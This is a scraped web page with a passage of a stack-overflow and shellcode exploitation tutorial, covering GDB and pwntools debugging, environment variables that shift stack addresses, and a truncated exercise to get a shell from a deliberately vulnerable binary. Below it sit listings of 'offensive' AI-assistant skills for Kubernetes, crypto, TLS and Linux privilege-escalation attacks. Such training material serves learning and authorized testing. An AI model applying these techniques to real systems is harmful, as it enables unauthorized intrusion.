Crash at correct addr but no shellShellcode bad or wrong locationx/20i <shellcode_addr>
"Illegal instruction"Bad shellcode or architecture mismatchCheck context.binary
Segfault in libcStack alignment (AMD64!)Add extra ret gadget
Works in GDB, fails outsideEnvironment variable differencesetarch -R ./vuln

The GDB vs Real Execution Problem:

The stack layout differs between GDB and normal execution due to environment variables:

# See the difference
env | wc -l       # Count env vars
env -i ./vuln1    # Run with empty environment

# In GDB, minimize environment
gdb -q ./vuln1
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) show env                        # Should be minimal

# Or use this pwntools trick to match addresses
p = process('./vuln1', env={})        # Empty environment

Essential pwndbg Commands for Exploit Development (AMD64):

# Address finding
pwndbg> vmmap                         # Memory map (find stack, libc, etc.)
pwndbg> search -s "/bin/sh"           # Find string in memory
pwndbg> got                           # Show GOT entries

# Payload verification
pwndbg> hexdump $rsp 100              # View your payload on stack
pwndbg> telescope $rsp 20             # Smart stack display (shows dereferences)

# Execution tracing
pwndbg> nearpc                        # Show instructions around PC
pwndbg> context                       # Full context display
pwndbg> retaddr                       # Show return addresses on stack

# Exploit helpers
pwndbg> rop                           # Find ROP gadgets (slow)
pwndbg> checksec                      # Binary protections

Debugging Checklist (Use Before Asking for Help!):

  • Offset verified? Use cyclic pattern, confirm with cyclic -l (use full 8-byte value on AMD64!)
  • Addresses correct? Double-check with print &function in GDB
  • Architecture matches? context.arch = 'amd64', use p64() not p32()
  • Endianness correct? x86/x64 = little endian = p64()
  • No bad characters? Check for \x00, \x0a, \x0d in payload
  • Stack executable? checksec should show "NX disabled"
  • ASLR disabled for this run? Use setarch -R or GDB's default
  • Using same environment? env -i or env={} in pwntools
  • Shellcode tested standalone? run_shellcode() in pwntools
  • Stack aligned? AMD64 requires 16-byte alignment before call

Environment Hygiene (Critical for Exploit Development)

Stack addresses differ between environments due to variables like LINES, COLUMNS, PWD, TERM, and program name length. This is the #1 cause of "works in GDB, fails outside" issues.

The Problem:

Normal execution:     GDB execution:           Different terminal:
┌─────────────────┐   ┌─────────────────┐      ┌─────────────────┐
│ env vars (big)  │   │ env vars + GDB  │      │ different env   │
│ PWD=/long/path  │   │ extra vars      │      │ COLUMNS=120     │
├─────────────────┤   ├─────────────────┤      ├─────────────────┤
│ argv, argc      │   │ argv, argc      │      │ argv, argc      │
├─────────────────┤   ├─────────────────┤      ├─────────────────┤
│ Stack           │   │ Stack           │      │ Stack           │
│ buffer @ 0xABC  │   │ buffer @ 0xA00  │      │ buffer @ 0xB00  │
└─────────────────┘   └─────────────────┘      └─────────────────┘
       ↑ Different addresses due to env var size!

Solution: Force Consistent Environment:

# Method 1: Clear all environment variables
env -i ./exploit

# Method 2: Clear and set minimal required vars
env -i PWD=$(pwd) ./exploit

# Method 3: In pwntools (RECOMMENDED for learning)
from pwn import *
p = process('./vuln', env={})  # Empty environment
# Or with minimal vars:
p = process('./vuln', env={'PWD': os.getcwd()})

# Method 4: Disable ASLR per-process (pwntools, best for learning)
p = process('./vuln', aslr=False, env={})

The "It Works on My Machine" Checklist

  • Buffering Hell
    • Local process() typically uses PTY (unbuffered).
    • Remote nc or sockets are often fully buffered or line-buffered.
    • Always use p.recvuntil(b'prompt') before sending. Never rely on sleep() unless absolutely necessary.
  • IO Handling
    • p.recv() is dangerous—it returns some data, not all data.
    • p.clean() removes unread data (useful before sending payload).
    • p.sendline() adds \n. Ensure target expects \n and not just raw bytes.
  • Environment Variables
    • Remote servers have different env vars than your GDB session.
    • This shifts stack addresses by +/- 0x100 bytes.
    • Never rely on exact stack addresses (hardcoded 0x7ffffff...).
    • Always use leaks (libc/stack) and relative offsets, or NOP sleds.

GDB Environment Matching:

# In GDB, clear problematic variables
gdb -q ./vuln
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) unset env TERM
(gdb) show env          # Verify minimal environment
(gdb) run

# Or start GDB with clean environment
env -i gdb -q ./vuln

pwntools Best Practice for Learning:

#!/usr/bin/env python3
from pwn import *

context.binary = ELF('./vuln')

# For LEARNING phase: disable ASLR and clear env
# This ensures consistent addresses across runs
p = process('./vuln', aslr=False, env={})

# For PRODUCTION exploits: use leaks and relative offsets
# p = process('./vuln')  # Real-world: ASLR enabled

Verification:

# Compare stack addresses with different environments
env -i ./vuln          # Note buffer address
./vuln                 # Different address!
env -i PWD=x ./vuln    # Yet another address

# Find the delta between GDB and real execution
# GDB typically adds ~0x60-0x100 bytes to stack

[!WARNING] Always use env -i or env={} when developing exploits with hardcoded addresses! Once your exploit works, convert to using leaks for portability.

Practical Exercise

Exercise: Exploit vuln1 to get a shell

Steps:

  1. Compile Target (AMD64):

    make training-shellcode SOURCE=vuln1.c BINARY=vuln1
    #gcc -g -O0 -fno-stack-protector -z execstack -no-pie vul
    

Discussion

No comments yet — start the thread.

Sign in to join the discussion.

/More from SnailSploit/Claude-Red

SnailSploit· 5d agoSandbox
offensive-k8s-attacks

Prompts · Python · v0.1.0

Kubernetes cluster attack techniques covering the full attack lifecycle from initial foothold in a pod to cluster-wide compromise. Covers service account token theft and impersonation, RBAC misconfiguration exploitation including wildcard permissions and privilege escalation via role binding, direct etcd access for secret extraction, kubelet API abuse on port 10250 and read-only port 10255, pod escape via hostPID hostNetwork and hostPath volume mounts, Kubernetes secrets enumeration and decoding, admission controller bypass techniques, network policy bypass and lateral movement, cloud metadata service access from pods for credential theft on AWS EKS GCP GKE and Azure AKS, CRD and operator abuse for persistence, and node compromise via DaemonSet deployment. Tools include kubectl, kube-hunter, peirates, kubeaudit, kdigger, kubeletctl. Maps to MITRE ATT&CK T1609 Container Administration Command, T1610 Deploy Container, T1613 Container and Resource Discovery. Use this skill when assessing Kubernetes clusters, attacking from within a compromised pod, exploiting RBAC or kubelet misconfigurations, or performing cloud-native lateral movement.

#claude-ai#claude-pt#claude-skills

0 6.9K
SnailSploit· 5d agoCommunity
offensive-crypto-attacks

Prompts · Python · v0.1.0

Systematic methodology for identifying and exploiting cryptographic implementation weaknesses in real-world applications. Covers padding oracle attacks against CBC-mode ciphers with PKCS7 padding (Vaudenay's original attack through modern padbuster automation), ECB mode exploitation including block cut-and-paste and byte-at-a-time decryption, hash length extension attacks against SHA1/SHA256/MD5-based MACs using HashPump, RSA vulnerabilities including small public exponent, common modulus, Bleichenbacher PKCS1v1.5 padding oracle, and Coppersmith's method for partial key recovery. Addresses weak PRNG exploitation targeting time-seeded generators and Mersenne Twister MT19937 state recovery from observed outputs, timing side-channel attacks against comparison operations, nonce reuse in AES-GCM leading to authentication key recovery, and key derivation weaknesses including insufficient iteration counts and missing salts. Primary tooling includes padbuster, RsaCtfTool, hashpump, and PyCryptodome for building custom exploit payloads. Maps to CWE-327 (Use of a Broken or Risky Cryptographic Algorithm), CWE-328 (Use of Weak Hash), and CWE-330 (Use of Insufficiently Random Values). Emphasizes black-box identification of vulnerable implementations before transitioning to targeted exploitation.

#claude-ai#claude-pt#claude-skills

0 6.9K
SnailSploit· 5d agoCommunity
offensive-tls-attacks

Prompts · Python · v0.1.0

Comprehensive methodology for auditing and exploiting TLS/SSL implementations and misconfigurations across network services and mobile applications. Covers protocol downgrade attacks including POODLE (CVE-2014-3566) against SSLv3 CBC padding, DROWN (CVE-2016-0800) cross-protocol attack leveraging SSLv2 export ciphers to decrypt TLS sessions, and FREAK (CVE-2015-0204) forcing RSA export-grade key exchange. Addresses BEAST (CVE-2011-3389) exploiting CBC IV predictability in TLS 1.0, CRIME (CVE-2012-4929) and BREACH targeting TLS-level and HTTP-level compression oracles respectively, and Heartbleed (CVE-2014-0160) for OpenSSL memory disclosure. Covers certificate validation bypass techniques for applications with improper hostname verification or chain validation, certificate pinning bypass using Frida and Objection for mobile application interception, HSTS bypass via NTP manipulation and subdomain exploitation, TLS 1.3 0-RTT replay attacks against non-idempotent endpoints, mutual TLS (mTLS) authentication attacks including client certificate theft and relay, and Certificate Transparency log monitoring for reconnaissance. Primary tooling includes testssl.sh for comprehensive TLS auditing, sslyze for Python-integrated scanning, sslscan for quick cipher enumeration, and tlsx for high-speed TLS probing at scale. Maps to CWE-295 (Improper Certificate Validation), CWE-319 (Cleartext Transmission of Sensitive Information), and CWE-757 (Selection of Less-Secure Algorithm During Negotiation).

#claude-ai#claude-pt#claude-skills

0 6.9K
SnailSploit· 5d agoSandbox
offensive-linux-privesc

Prompts · Python · v0.1.0

Comprehensive Linux privilege escalation methodology for offensive security engagements. Covers the full attack surface from a low-privilege shell to root: SUID/SGID binary abuse via GTFOBins, Linux capabilities exploitation (cap_setuid, cap_dac_override, cap_dac_read_search), sudo misconfigurations including NOPASSWD rules and Baron Samedit (CVE-2021-3156), cron job abuse through writable scripts, PATH hijacking, and wildcard injection with tar/rsync/chown. Includes writable /etc/passwd attacks, NFS no_root_squash exploitation, kernel exploits (DirtyPipe CVE-2022-0847, DirtyCow CVE-2016-5195, PwnKit CVE-2021-4034), Docker group container escapes, LD_PRELOAD and LD_LIBRARY_PATH hijacking for shared library injection, systemd service misconfigurations, and sensitive file enumeration for credential harvesting. Integrates automated enumeration with LinPEAS, linux-exploit-suggester, pspy for process monitoring, and GTFOBins for binary exploitation. Each technique includes detection signatures and defender-side visibility to support purple team operations. Maps to MITRE ATT&CK T1548 (Abuse Elevation Control Mechanism) and related sub-techniques. Designed for authorized penetration testing, red team engagements, and CTF competitions where you hold a low-privilege shell and need to escalate to root.

#claude-ai#claude-pt#claude-skills

0 6.9K